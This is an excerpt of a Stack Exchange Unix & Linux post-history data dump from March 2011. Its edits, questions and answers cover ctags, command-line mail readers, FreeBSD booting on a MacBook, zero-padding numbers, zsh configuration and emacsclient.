  <row Id="21708" PostHistoryTypeId="2" PostId="9140" RevisionGUID="853ba852-7a88-455d-aa4a-69862f59fddc" CreationDate="2011-03-12T11:16:05.233" UserId="5662" Text="As an alternative to the `find | xargs` responses, you might consider using [ctags](http://en.wikipedia.org/wiki/Ctags) since you say you are searching not for text, but specifically for function names.&#xD;&#xA;&#xD;&#xA;To do this you would run `ctags` against your source to create a `TAGS` file, and then run your `grep` against the `TAGS` file which will spit out lines in the following format:&#xD;&#xA;&#xD;&#xA;    {tagname}&lt;Tab&gt;{tagfile}&lt;Tab&gt;{tagaddress}&#xD;&#xA;&#xD;&#xA;Where `tagname` will contain the function name, `tagfile` is the file it is in, and `tagaddress` will be a vi command to get to that line.  (Could be a just a line number.)&#xD;&#xA;&#xD;&#xA;(Is there an easy way to do something similar with the various indices that eclipse builds, or to just query the eclipse database?)&#xD;&#xA;" />
  <row Id="21709" PostHistoryTypeId="25" PostId="9137" RevisionGUID="2ea29aa3-b1c9-41cf-b486-76638fe3a6d7" CreationDate="2011-03-12T11:24:39.640" Comment="http://twitter.com/#!/StackUnix/status/46532048579592192" />
  <row Id="21710" PostHistoryTypeId="2" PostId="9141" RevisionGUID="adf4552e-d812-4860-a708-2b448184e6d5" CreationDate="2011-03-12T11:31:40.837" UserId="250" Text="I'm receiving &quot;You have mail&quot; messages and according to [How to remove “You have mail” welcome message][1] I should read my mail with `mail`. However I cannot find the command in my system (Ubuntu 10.04 server). What do I need to install?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/2432/250" />
  <row Id="21711" PostHistoryTypeId="1" PostId="9141" RevisionGUID="adf4552e-d812-4860-a708-2b448184e6d5" CreationDate="2011-03-12T11:31:40.837" UserId="250" Text="What program do I use to check mail?" />
  <row Id="21712" PostHistoryTypeId="3" PostId="9141" RevisionGUID="adf4552e-d812-4860-a708-2b448184e6d5" CreationDate="2011-03-12T11:31:40.837" UserId="250" Text="émailà" />
  <row Id="21713" PostHistoryTypeId="2" PostId="9142" RevisionGUID="742eeed9-3b5b-4843-8740-6fe2d41bc942" CreationDate="2011-03-12T11:40:12.967" UserId="2676" Text="Just install mailutils which must contain mail&#xD;&#xA;" />
  <row Id="21714" PostHistoryTypeId="5" PostId="9142" RevisionGUID="1a241cbc-c74c-4de9-b9e5-9dffb78d0485" CreationDate="2011-03-12T11:50:38.153" UserId="2676" Comment="added 277 characters in body" Text="Just install [mailutils][1] which must contain [`mail`][2]:&#xD;&#xA;&#xD;&#xA;`# apt-get install mailutils`&#xD;&#xA;&#xD;&#xA;Read more about mail and GNU mailutils here: http://mailutils.org/manual/mailutils.html#SEC66&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/ubuntu/lucid/+package/mailutils&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/lucid/en/man1/mail.1.html" />
  <row Id="21715" PostHistoryTypeId="5" PostId="9142" RevisionGUID="69bbcf33-7a3d-4ee9-9a13-408cb30b660e" CreationDate="2011-03-12T12:01:38.587" UserId="3069" Comment="added 14 characters in body" Text="Just install [mailutils][1] which must contain [`mail`][2]:&#xD;&#xA;&#xD;&#xA;    # apt-get install mailutils&#xD;&#xA;&#xD;&#xA;Read more about mail and GNU mailutils [here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/ubuntu/lucid/+package/mailutils&#xD;&#xA;  [2]: http://manpages.ubuntu.com/manpages/lucid/en/man1/mail.1.html&#xD;&#xA;  [3]: http://mailutils.org/manual/mailutils.html#SEC66" />
  <row Id="21716" PostHistoryTypeId="6" PostId="9107" RevisionGUID="f7f29066-41ef-4f62-b6c5-5adb36b7cba6" CreationDate="2011-03-12T12:04:32.860" UserId="3069" Comment="edited tags" Text="éfirefoxàégtkàéheadlessà" />
  <row Id="21717" PostHistoryTypeId="2" PostId="9143" RevisionGUID="9f447466-90be-403c-90f7-e91ce1641338" CreationDate="2011-03-12T12:06:23.047" UserId="1636" Text="Another program you can use is `mutt`. I prefer using `mutt` to `mail` - it just has a nicer interface in my opinion. &#xD;&#xA;&#xD;&#xA;    # apt-get install mutt&#xD;&#xA;&#xD;&#xA;should work - but I use Fedora not Ubuntu so can't confirm this." />
  <row Id="21718" PostHistoryTypeId="5" PostId="6923" RevisionGUID="335ba6ce-81cb-43a6-bf60-ade83c8dcc40" CreationDate="2011-03-12T12:15:24.770" UserId="4478" Comment="added 68 characters in body" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've been trying to dual-boot FreeBSD 8.1 with Mac OS X on my MacBook (5,1), but am having trouble trying to get the live cd to boot.&#xD;&#xA;&#xD;&#xA;I reach the [FreeBSD Boot Loader Screen][1] with the options for boot, boot without ACPI etc.&#xD;&#xA;&#xD;&#xA;However, I cannot select an option. I have tried with both the built in keyboard and a USB keyboard, but I do not think that that is the problem...&#xD;&#xA;&#xD;&#xA;Previously I have tried dual booting Ubuntu, but had problems with the live CD also. During the boot process, the boot seemed to freeze, and the CD stopped spinning. I think it might be a similiar problem here. Soon after arriving at this screen, the CD stops spinning.&#xD;&#xA;&#xD;&#xA;Thanks for any advice!&#xD;&#xA;&#xD;&#xA;BTW. I'm using the amd64 disc1 iso image&#xD;&#xA;&#xD;&#xA;== UPDATE ==&#xD;&#xA;I'm still interested in trying to get this to work, does *anyone* have any idea what the problem could be?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;== Further Boot Info ==&#xD;&#xA;&#xD;&#xA;When booting, Mac's EFI allows me to choose to boot from the CD. The screen goes black, then the following appears:&#xD;&#xA;&#xD;&#xA;    CD Loader 1.2&#xD;&#xA;    Building the boot loader arguments&#xD;&#xA;    Looking up /BOOT/LOADER ... Found&#xD;&#xA;    Relocating the loader and the BTX&#xD;&#xA;    Starting the BTX Loader&#xD;&#xA;    &#xD;&#xA;    BTX Loader 1.00 BTX version is 1.0.2&#xD;&#xA;    Consoles: internal video/keyboard&#xD;&#xA;    BIOS CD is cd0&#xD;&#xA;    BIOS drive C: is disk0&#xD;&#xA;    BIOS 639kB/1047552kB available memory&#xD;&#xA;    &#xD;&#xA;    Loading /boot/defaults/loader.conf&#xD;&#xA;    /boot/kernel/kernel text=0x8d5503 data=0x129bf8+039f8 syms=[0x8 + 0xddbf8 + 0x8 + 0xca37e]&#xD;&#xA;&#xD;&#xA;It then continues to the [FreeBSD Boot Loader Screen][1], and freezes&#xD;&#xA;&#xD;&#xA;== EDIT ==&#xD;&#xA;&#xD;&#xA;I've now tried the i386 version of FreeBSD 8.1 too&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install/boot-loader-menu.png &quot;FreeBSD Boot Loader Screen&quot;" />
  <row Id="21719" PostHistoryTypeId="2" PostId="9144" RevisionGUID="ceda1450-f9a4-443f-bb16-7b9cc26b406e" CreationDate="2011-03-12T12:17:27.957" UserId="5663" Text="Although you say telnet is not the culprit, I would test taking it away.&#xD;&#xA;&#xD;&#xA;Have you tried the following?&#xD;&#xA;&#xD;&#xA;    socat UNIX-CONNECT:/tmp/vbox.port tcp:some.remote.host:23&#xD;&#xA;&#xD;&#xA;This should be 8-bit clean by itself." />
  <row Id="21720" PostHistoryTypeId="5" PostId="6923" RevisionGUID="1dfeab4c-f67d-44d6-b9f7-3238c4c0d441" CreationDate="2011-03-12T12:41:42.267" UserId="4478" Comment="edited body; edited title" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've been trying to dual-boot FreeBSD 8.1 with Mac OS X on my MacBook (5,2), but am having trouble trying to get the live cd to boot.&#xD;&#xA;&#xD;&#xA;I reach the [FreeBSD Boot Loader Screen][1] with the options for boot, boot without ACPI etc.&#xD;&#xA;&#xD;&#xA;However, I cannot select an option. I have tried with both the built in keyboard and a USB keyboard, but I do not think that that is the problem...&#xD;&#xA;&#xD;&#xA;Previously I have tried dual booting Ubuntu, but had problems with the live CD also. During the boot process, the boot seemed to freeze, and the CD stopped spinning. I think it might be a similiar problem here. Soon after arriving at this screen, the CD stops spinning.&#xD;&#xA;&#xD;&#xA;Thanks for any advice!&#xD;&#xA;&#xD;&#xA;BTW. I'm using the amd64 disc1 iso image&#xD;&#xA;&#xD;&#xA;== UPDATE ==&#xD;&#xA;I'm still interested in trying to get this to work, does *anyone* have any idea what the problem could be?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;== Further Boot Info ==&#xD;&#xA;&#xD;&#xA;When booting, Mac's EFI allows me to choose to boot from the CD. The screen goes black, then the following appears:&#xD;&#xA;&#xD;&#xA;    CD Loader 1.2&#xD;&#xA;    Building the boot loader arguments&#xD;&#xA;    Looking up /BOOT/LOADER ... Found&#xD;&#xA;    Relocating the loader and the BTX&#xD;&#xA;    Starting the BTX Loader&#xD;&#xA;    &#xD;&#xA;    BTX Loader 1.00 BTX version is 1.0.2&#xD;&#xA;    Consoles: internal video/keyboard&#xD;&#xA;    BIOS CD is cd0&#xD;&#xA;    BIOS drive C: is disk0&#xD;&#xA;    BIOS 639kB/1047552kB available memory&#xD;&#xA;    &#xD;&#xA;    Loading /boot/defaults/loader.conf&#xD;&#xA;    /boot/kernel/kernel text=0x8d5503 data=0x129bf8+039f8 syms=[0x8 + 0xddbf8 + 0x8 + 0xca37e]&#xD;&#xA;&#xD;&#xA;It then continues to the [FreeBSD Boot Loader Screen][1], and freezes&#xD;&#xA;&#xD;&#xA;== EDIT ==&#xD;&#xA;&#xD;&#xA;I've now tried the i386 version of FreeBSD 8.1 too&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/install/boot-loader-menu.png &quot;FreeBSD Boot Loader Screen&quot;" />
  <row Id="21721" PostHistoryTypeId="4" PostId="6923" RevisionGUID="1dfeab4c-f67d-44d6-b9f7-3238c4c0d441" CreationDate="2011-03-12T12:41:42.267" UserId="4478" Comment="edited body; edited title" Text="FreeBSD 8.1 on MacBook 5,2" />
  <row Id="21722" PostHistoryTypeId="6" PostId="6433" RevisionGUID="df5c9971-6510-4fe5-82ca-bc401d8447be" CreationDate="2011-03-12T13:08:21.530" UserId="4319" Comment="Added a tag to reflect that the Q is about imposing further restrictions (the only one existent I could find)" Text="épermissionsàénotörootöuseràéjailsà" />
  <row Id="21723" PostHistoryTypeId="24" PostId="6433" RevisionGUID="df5c9971-6510-4fe5-82ca-bc401d8447be" CreationDate="2011-03-12T13:08:21.530" Comment="Proposed by 4319 approved by 73 edit id of 200" />
  <row Id="21724" PostHistoryTypeId="25" PostId="9141" RevisionGUID="193be5d9-5776-4ccb-9d9d-49b0c76718fe" CreationDate="2011-03-12T14:24:39.733" Comment="http://twitter.com/#!/StackUnix/status/46577347746463745" />
  <row Id="21725" PostHistoryTypeId="2" PostId="9145" RevisionGUID="2d0b26cb-8e2f-4088-93fd-7f58293500cc" CreationDate="2011-03-12T14:35:01.057" UserId="4667" Text="Another solution: `awk '{$2 = sprintf(&quot;%02s&quot;, $2); print}'`" />
  <row Id="21726" PostHistoryTypeId="2" PostId="9146" RevisionGUID="cbc84674-300d-47e5-9c64-50b1de1442ae" CreationDate="2011-03-12T14:48:00.550" UserId="4520" Text="You may already have `mail` installed.  If so, you can read your mail by entering `mail` at the command line.  &#xD;&#xA;&#xD;&#xA;Welcome to the world of choice.  You can use pretty well any mail reader you choose.  `emacs` users can read mail from within their editor.&#xD;&#xA;&#xD;&#xA;Install a `pop3` or `imap` server and you can read your mail from your Windows PC, Mac, or other devices.&#xD;&#xA;&#xD;&#xA;If you setup a `.forward` or `.procmailrc` file then you may be able to forward your mail to another e-mail address and read it from there. " />
  <row Id="21727" PostHistoryTypeId="2" PostId="9147" RevisionGUID="41bcdd6b-41da-45ff-9b15-80453422e8cf" CreationDate="2011-03-12T15:02:33.980" UserId="885" Text="On Debian and derived distributions, you can use the `apt-file` command to search for a package containing a file. Install `apt-file` (`apt-get install apt-file`) and download its database (`apt-file update`, Ubuntu does it automatically if you're online). Then search for `bin/mail`:&#xD;&#xA;&#xD;&#xA;    apt-file -x search 'bin/mail$'&#xD;&#xA;&#xD;&#xA;With the [`command-not-found`](http://packages.ubuntu.com/command-not-found) [![Install command-not-found](http://bit.ly/software-small)](http://apt.ubuntu.com/p/command-not-found) package installed, if you type a command that doesn't exist but can be installed from the Ubuntu repositories, you get an informative message:&#xD;&#xA;&#xD;&#xA;    $ mail&#xD;&#xA;    The program 'mail' can be found in the following packages:&#xD;&#xA;     * heirloom-mailx&#xD;&#xA;     * mailutils&#xD;&#xA;    Try: sudo apt-get install &lt;selected package&gt;&#xD;&#xA;&#xD;&#xA;If you're not after `mail` specifically, but after any program to read your local mail from the command line, there are much better alternatives. All mail user agents provide the [`mail-reader`](http://packages.ubuntu.com/lucid/mail-reader) virtual package, so browse the list of packages that provide `mail-reader` and install one or more that looks good to you (and doesn't use a GUI, if it's for a server).&#xD;&#xA;&#xD;&#xA;[`mutt`](http://packages.ubuntu.com/mutt) [![Install mutt](http://bit.ly/software-small)](http://apt.ubuntu.com/p/mutt)'s motto is [“All mail clients suck. This one just sucks less.”](http://www.mutt.org/), and I tend to agree, but in the end it's a very personal choice.&#xD;&#xA;" />
  <row Id="21728" PostHistoryTypeId="6" PostId="9141" RevisionGUID="5372fa56-c413-46dd-af3b-91e07a4de9d9" CreationDate="2011-03-12T15:03:54.353" UserId="885" Comment="edited tags" Text="écommandölineàéubuntuàémailàémailöuseröagentà" />
  <row Id="21729" PostHistoryTypeId="2" PostId="9148" RevisionGUID="e236b9e3-337a-44cc-bfc8-e75c36b52be9" CreationDate="2011-03-12T15:07:51.987" UserId="4477" Text="**Safe compression**&#xD;&#xA;&#xD;&#xA;Compression programs delete the original file by default. I don't like that.&#xD;&#xA;&#xD;&#xA;    alias gzip='gzip --keep'&#xD;&#xA;    alias bzip2='bzip2 --keep'&#xD;&#xA;    alias xz='xz --keep'&#xD;&#xA;    alias lzma='lzma --keep'&#xD;&#xA;&#xD;&#xA;**Multi-line prompt**&#xD;&#xA;    &#xD;&#xA;    tag() {&#xD;&#xA;        TAG=&quot;${TAG} [$1]&quot; exec zsh&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    reset_tags() {&#xD;&#xA;        TAG='' exec zsh&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    color='green'&#xD;&#xA;    if [ &quot;${USER}&quot; = 'root' ]; then&#xD;&#xA;        color='red'&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    export PS1=&quot;${TAG} %B%F{yellow} *** %F{blue}%~\&#xD;&#xA;&#xD;&#xA;    %F{yellow}%(1j.[%j] .)%F{red}%(?..(%?%) )%F{${color}}%n@%m %F{blue}%# %f%b&quot;&#xD;&#xA;    export RPS1='%B%F{blue}%D{%Y-%m-%d} %F{green}%D{%H:%M:%S}'&#xD;&#xA;    export PS2='%B%F{red}%n@%m%k %B%F{blue}%_&gt; %b%f%k'&#xD;&#xA;    unset color&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* Shows the current directory in a separate line. Useful when handling a deep directory tree on a 80 column terminal.&#xD;&#xA;* Having a clock in the corner is a great thing if you use a graphical environment. This prompt shows the time. Unfortunately you have to press enter to update it.&#xD;&#xA;* You can display &quot;tags&quot; with environment variables. Example:&#xD;&#xA;&#xD;&#xA;        tag 'DONT SHTUDOWN!!'&#xD;&#xA;        reset_tags&#xD;&#xA;&#xD;&#xA;* The code is at least partially based on [this][1].&#xD;&#xA;&#xD;&#xA;**History settings**&#xD;&#xA;&#xD;&#xA;    dont_log() {&#xD;&#xA;        HISTFILE=&quot;/dev/null&quot; TAG=&quot;${TAG} %B%F{red}[LOGGING DISABLED]&quot; zsh&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    if [ &quot;${HISTFILE}&quot; != '/dev/null' ]; then&#xD;&#xA;        # history&#xD;&#xA;        export HISTFILE=&quot;${HOME}/.zsh/history&quot;&#xD;&#xA;        export HISTSIZE=&quot;4096&quot;&#xD;&#xA;        export SAVEHIST=&quot;4096&quot;&#xD;&#xA;        &#xD;&#xA;        # Don't overwrite, append!&#xD;&#xA;        setopt APPEND_HISTORY&#xD;&#xA;        &#xD;&#xA;        # Write after each command&#xD;&#xA;        # setopt INC_APPEND_HISTORY&#xD;&#xA;    &#xD;&#xA;        # Killer: share history between multiple shells&#xD;&#xA;        setopt SHARE_HISTORY&#xD;&#xA;    &#xD;&#xA;        # If I type cd and then cd again, only save the last one&#xD;&#xA;        setopt HIST_IGNORE_DUPS&#xD;&#xA;    &#xD;&#xA;        # Even if there are commands inbetween commands that are the same, still only save the last one&#xD;&#xA;        setopt HIST_IGNORE_ALL_DUPS&#xD;&#xA;    &#xD;&#xA;        # Pretty    Obvious.  Right?&#xD;&#xA;        setopt HIST_REDUCE_BLANKS&#xD;&#xA;    &#xD;&#xA;        # If a line starts with a space, don't save it.&#xD;&#xA;        setopt HIST_IGNORE_SPACE&#xD;&#xA;        setopt HIST_NO_STORE&#xD;&#xA;    &#xD;&#xA;        # When using a hist thing, make a newline show the change before executing it.&#xD;&#xA;        setopt HIST_VERIFY&#xD;&#xA;&#xD;&#xA;        # Save the time and how long a command ran&#xD;&#xA;        setopt EXTENDED_HISTORY&#xD;&#xA;&#xD;&#xA;        setopt HIST_SAVE_NO_DUPS&#xD;&#xA;        setopt HIST_EXPIRE_DUPS_FIRST&#xD;&#xA;        setopt HIST_FIND_NO_DUPS&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;* Shamelessly stolen from [here][2].&#xD;&#xA;* I added support for explicitly disabling logging. Useful if you are dealing with programs that expect passwords as a CLI argument.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aperiodic.net/phil/prompt/&#xD;&#xA;  [2]: http://stackoverflow.com/questions/171563/whats-in-your-zshrc/171564#171564" />
  <row Id="21730" PostHistoryTypeId="5" PostId="9137" RevisionGUID="86fc7168-be17-47df-8322-7be8b182e2d1" CreationDate="2011-03-12T15:11:17.560" UserId="885" Comment="title; grammar" Text="Input:&#xD;&#xA;&#xD;&#xA;	201103 1 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;	201102 7 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;	201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;	201104 3 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;	201106 1 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;&#xD;&#xA;Desired output:&#xD;&#xA;&#xD;&#xA;	201103 01 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;	201102 07 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;	201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;	201104 03 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;	201106 01 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;&#xD;&#xA;How can I add a `0` if there is only a single digit, e.g. `1` in the &quot;day&quot; part? I need this date format: YYYYMM DD.&#xD;&#xA;" />
  <row Id="21731" PostHistoryTypeId="4" PostId="9137" RevisionGUID="86fc7168-be17-47df-8322-7be8b182e2d1" CreationDate="2011-03-12T15:11:17.560" UserId="885" Comment="title; grammar" Text="Zero-fill numbers to 2 digits with sed" />
  <row Id="21732" PostHistoryTypeId="6" PostId="9093" RevisionGUID="1f1444ad-2c0a-4ceb-9277-21904ef892eb" CreationDate="2011-03-12T15:25:59.483" UserId="885" Comment="edited tags" Text="éttyàéethernetàéserialöconsoleà" />
  <row Id="21733" PostHistoryTypeId="2" PostId="9149" RevisionGUID="4c6b7996-9afb-4e87-809b-5e45488382f8" CreationDate="2011-03-12T15:36:08.280" UserId="5669" Text="When I need to create a new server I've always chosen Centos mainly for it's compatibility with Red Hat which i consider the standard de-facto for the general purpose linux server.  &#xD;&#xA;Now the problem is that Red Hat 6 has been out for quite a while and there is no sign of the Centos 6 (event Centos 5.6 iso is still missing).  &#xD;&#xA;As in the need to create a new server what will you do? Stay whit the old Centos 5.5 or switch to the recently released Scientific Linux 6.0?  &#xD;&#xA;I looked on SL 6.0 website and they declare great attention to compatibility with RH, I've never tried it by myself so I just wanted someone's real life opinion." />
  <row Id="21734" PostHistoryTypeId="1" PostId="9149" RevisionGUID="4c6b7996-9afb-4e87-809b-5e45488382f8" CreationDate="2011-03-12T15:36:08.280" UserId="5669" Text="Centos or Scientific Linux" />
  <row Id="21735" PostHistoryTypeId="3" PostId="9149" RevisionGUID="4c6b7996-9afb-4e87-809b-5e45488382f8" CreationDate="2011-03-12T15:36:08.280" UserId="5669" Text="écentosàérhelà" />
  <row Id="21736" PostHistoryTypeId="6" PostId="9149" RevisionGUID="f4591f2d-8d9d-47a1-ac34-6ed73f3a1609" CreationDate="2011-03-12T15:37:57.367" UserId="885" Comment="edited tags" Text="écentosàérhelàédistributionöchoiceàéscientificölinuxà" />
  <row Id="21737" PostHistoryTypeId="2" PostId="9150" RevisionGUID="478b91b7-6e62-4ca4-b9c6-42ffe90ddd4a" CreationDate="2011-03-12T15:55:18.570" UserId="5550" Text="`find . | xargs grep` will fail on filenames with spaces:&#xD;&#xA;&#xD;&#xA;    &gt; echo test &gt; &quot;a b c&quot;&#xD;&#xA;    &gt; find . | xargs grep test&#xD;&#xA;    grep: ./a: No such file or directory&#xD;&#xA;    grep: b: No such file or directory&#xD;&#xA;    grep: c: No such file or directory&#xD;&#xA;&#xD;&#xA;Note that even -print0 has this problem.&#xD;&#xA;&#xD;&#xA;It's better in my opinion to use `-exec grep` with find which will handle all filenames internally and avoid this problem:&#xD;&#xA;&#xD;&#xA;    &gt; find . -exec grep test {} \;&#xD;&#xA;    test&#xD;&#xA;    &gt;" />
  <row Id="21738" PostHistoryTypeId="6" PostId="9125" RevisionGUID="91bee0a7-588d-4c77-b6bb-6d6a5680abd1" CreationDate="2011-03-12T15:58:35.197" UserId="885" Comment="edited tags" Text="éfindàégrepàésearchà" />
  <row Id="21739" PostHistoryTypeId="2" PostId="9151" RevisionGUID="00516362-58c8-4f27-93a5-29ea72ece7dc" CreationDate="2011-03-12T16:19:58.937" UserId="885" Text="A [process group](http://en.wikipedia.org/wiki/Process_group) is a unix kernel concept. It doesn't come up very often. You can send a signal to all the process in a group, by calling the `kill` [system call](http://pubs.opengroup.org/onlinepubs/009695399/functions/kill.html) or [utility](http://pubs.opengroup.org/onlinepubs/009695399/utilities/kill.html) with a negative argument.&#xD;&#xA;&#xD;&#xA;When a process is created (with [`fork`](http://pubs.opengroup.org/onlinepubs/009695399/functions/fork.html)), it remains in the same process group as its parent. A process can move into another group by calling [`setpgid`](http://pubs.opengroup.org/onlinepubs/009695399/functions/setpgid.html) or [`setpgrp`](http://pubs.opengroup.org/onlinepubs/009695399/functions/setpgrp.html). This is normally performed by the shell when it starts an external process, before it executes [`execve`](http://pubs.opengroup.org/onlinepubs/009695399/functions/execve.html) to load the external program.&#xD;&#xA;&#xD;&#xA;The main use for process groups is that when you press `Ctrl+C`, `Ctrl+Z` or `Ctrl+\` to kill or suspend programs in a terminal, the terminal sends a signal to a whole process group, the [foreground process group](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_183). The details are fairly complex and mostly of interest to shell or kernel implementers; the [General Terminal Interface](http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap11.html) chapter of the POSIX standard is a good presentation (you do need some unix programming background).&#xD;&#xA;&#xD;&#xA;Jobs are an internal concept to the shell. In the simple cases, each job in a shell corresponds to a process group in the kernel.&#xD;&#xA;" />
  <row Id="21740" PostHistoryTypeId="5" PostId="9082" RevisionGUID="9c03bedd-5f6a-4c63-a0dd-4abbda0fb1c2" CreationDate="2011-03-12T16:21:10.153" UserId="885" Comment="hyperlink" Text="What's the difference between a process group and a job? If I type `pr * | lpr` then is it both a process group as well a job? &#xD;&#xA;What exactly is the difference between a process group ID and a job ID?&#xD;&#xA;&#xD;&#xA;Edit: I know it appears similar to [What is the difference between a job and a process?](http://unix.stackexchange.com/questions/4214/what-is-the-difference-between-a-job-and-a-process), but it is slightly different. Also, I didn't understand this concept from this thread.&#xD;&#xA;" />
  <row Id="21741" PostHistoryTypeId="2" PostId="9152" RevisionGUID="f16aac1b-e11f-4e3f-aa12-634978a07ce7" CreationDate="2011-03-12T17:23:33.173" UserId="3127" Text="I keep emacs open all the time I'm working. I have several script that will launch all the apps and files related to a specific project. But, it will launch emacs again, rather than simply cause the current emacs to open the requested files. I'd rather the current emacs simply opened the project text files in a new buffer.&#xD;&#xA;    &#xD;&#xA;Any ideas how I can do that?&#xD;&#xA;&#xD;&#xA;Gracias" />
  <row Id="21742" PostHistoryTypeId="1" PostId="9152" RevisionGUID="f16aac1b-e11f-4e3f-aa12-634978a07ce7" CreationDate="2011-03-12T17:23:33.173" UserId="3127" Text="Script for opening a file in an already existing emacs process" />
  <row Id="21743" PostHistoryTypeId="3" PostId="9152" RevisionGUID="f16aac1b-e11f-4e3f-aa12-634978a07ce7" CreationDate="2011-03-12T17:23:33.173" UserId="3127" Text="ébashàéshellà" />
  <row Id="21744" PostHistoryTypeId="25" PostId="9149" RevisionGUID="deec637c-e662-4551-818a-bdfee2ac4731" CreationDate="2011-03-12T17:24:40.140" Comment="http://twitter.com/#!/StackUnix/status/46622648117116928" />
  <row Id="21745" PostHistoryTypeId="2" PostId="9153" RevisionGUID="61b517dc-895b-442a-8c92-39c9839e6714" CreationDate="2011-03-12T17:29:33.407" UserId="5671" Text="The following command prints a message over ssh :   &#xD;&#xA;`xmessage Message -display :0 &amp;`  &#xD;&#xA;How does it work? there is no -display option in xmessage's man page.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21746" PostHistoryTypeId="1" PostId="9153" RevisionGUID="61b517dc-895b-442a-8c92-39c9839e6714" CreationDate="2011-03-12T17:29:33.407" UserId="5671" Text="xmessage over ssh" />
  <row Id="21747" PostHistoryTypeId="3" PostId="9153" RevisionGUID="61b517dc-895b-442a-8c92-39c9839e6714" CreationDate="2011-03-12T17:29:33.407" UserId="5671" Text="ésshà" />
  <row Id="21748" PostHistoryTypeId="2" PostId="9154" RevisionGUID="417e8f31-f65f-4f50-8059-0f214b885ee5" CreationDate="2011-03-12T17:37:41.217" UserId="5325" Text="`M-x server-start` inside the Emacs session, then use `emacsclient -n file1 file2 ...` to add files to the existing Emacs.  There are additional options you might want to use, e.g. `-c` to open the files in a new window (frame)." />
  <row Id="21749" PostHistoryTypeId="2" PostId="9155" RevisionGUID="e4edad70-c20d-4165-b39c-4a26e801e16b" CreationDate="2011-03-12T17:41:19.303" UserId="36" Text="It all depends if you need the newer functionality, if not I would stick with Centos.&#xD;&#xA;&#xD;&#xA;Bear in mind the [Red Hat Support lifecycle][1] when making your decision.&#xD;&#xA;&#xD;&#xA;You could also consider [Oracle Linux][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://press.redhat.com/2008/05/21/the-red-hat-enterprise-linux-lifecycle/&#xD;&#xA;  [2]: http://www.oracle.com/us/technologies/linux/index.html" />
  <row Id="21750" PostHistoryTypeId="2" PostId="9156" RevisionGUID="22cf8354-1127-4355-88f4-f3889f29196f" CreationDate="2011-03-12T17:46:49.363" UserId="5672" Text="I had an hard-drive with two partitions: one was 460GB NTFS and the other was 5GB ext3 Ubuntu 10.10.&#xD;&#xA;I wanted to extend the Ubuntu partition, so I was going to shrink the NTFS partition by 15GB, but I accidentally right-clicked the NTFS partition and chose &quot;Make Partition Active&quot;.&#xD;&#xA;&#xD;&#xA;It actually made all the ext3 partition to become &quot;Unallocated&quot;. It seems I can't boot from it anymore.&#xD;&#xA;&#xD;&#xA;My question is, how can I undone it? Because it took like a millisecond to complete, I'm almost sure the data is still there.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="21751" PostHistoryTypeId="1" PostId="9156" RevisionGUID="22cf8354-1127-4355-88f4-f3889f29196f" CreationDate="2011-03-12T17:46:49.363" UserId="5672" Text="How can I restore my linux?" />
  <row Id="21752" PostHistoryTypeId="3" PostId="9156" RevisionGUID="22cf8354-1127-4355-88f4-f3889f29196f" CreationDate="2011-03-12T17:46:49.363" UserId="5672" Text="éubuntuàéext3àéntfsà" />
  <row Id="21753" PostHistoryTypeId="2" PostId="9157" RevisionGUID="b62daac4-709c-45a5-8c4b-a8f1eaef03d0" CreationDate="2011-03-12T17:50:21.753" UserId="2343" Text="And just to show that there is no need to always use sed/awk, here is a version using *bash* with its extended regex.   &#xD;&#xA;&#xD;&#xA;    while IFS= read -r line ; do&#xD;&#xA;        if [[ &quot;$line&quot; =~ ^([0-9]{6}\ )([0-9])(\ .+)$ ]]  &#xD;&#xA;        then echo &quot;${BASH_REMATCH[1]}0${BASH_REMATCH[2]}${BASH_REMATCH[3]}&quot; &#xD;&#xA;        else echo &quot;$line&quot;&#xD;&#xA;        fi&#xD;&#xA;    done &lt;&lt;EOF&#xD;&#xA;    201103 1 /mnt/hdd/PUB/SOMETHING&#xD;&#xA;    201102 7 /mnt/hdd/PUB/SOMETH ING&#xD;&#xA;    201103 11 /mnt/hdd/PUB/SO METHING&#xD;&#xA;    201104 3 /mnt/hdd/PUB/SOMET HING&#xD;&#xA;    201106 1 /mnt/hdd/PUB/SOMETHI NG&#xD;&#xA;    EOF&#xD;&#xA;" />
